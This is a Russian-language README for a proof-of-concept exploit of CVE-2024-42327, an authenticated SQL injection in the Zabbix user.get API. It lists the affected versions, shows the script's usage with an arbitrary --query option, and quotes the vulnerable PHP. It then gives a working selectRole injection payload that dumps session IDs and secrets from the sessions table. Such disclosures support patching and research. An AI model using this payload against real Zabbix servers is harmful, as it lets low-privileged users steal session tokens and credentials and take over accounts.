
POC для CVE-2024-42327, аутентифицированная SQL-инъекция в Zabbix через метод user.get API
POC для CVE-2024-42327 — аутентифицированная SQL-инъекция в Zabbix через метод API user.get. Этот POC не основан на времени, в отличие от некоторых других POC, которые я встречал.
Уязвимость существует в конечной точке API user.get, которая может быть использована пользователем без прав администратора, имеющим доступ к API, включая учётные записи с ролью «Пользователь» по умолчанию.
Ошибка SQL-инъекции существует в классе CUser в функции addRelatedObjects. Эта функция вызывается из CUser.get, которая доступна пользователям с доступом к API.
Злоумышленник может внедрить SQL-команды, манипулируя вызовами API.
Успешная эксплуатация уязвимости может позволить злоумышленнику получить несанкционированный доступ и контроль.
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
Этот POC извлекает из базы данных учётные данные пользователей, а также токены сессий для аутентификации в API.
Предусмотрена возможность выполнения пользовательского SQL-запроса (--query).
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
Изучив код на https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php в функции addRelatedObjects, легко обнаружить уязвимый SQL-запрос (строки 3046–3051):
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Сразу видно, что значения, включённые в $options['selectRole'], передаются в SQL-запрос.
Типичный JSON-объект для попадания в эту часть кода выглядит следующим образом:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
Мы можем сформировать значения "selectRole" для выполнения SQL-инъекции:
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
Приведённая выше инъекция делает SQL-запрос примерно таким:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)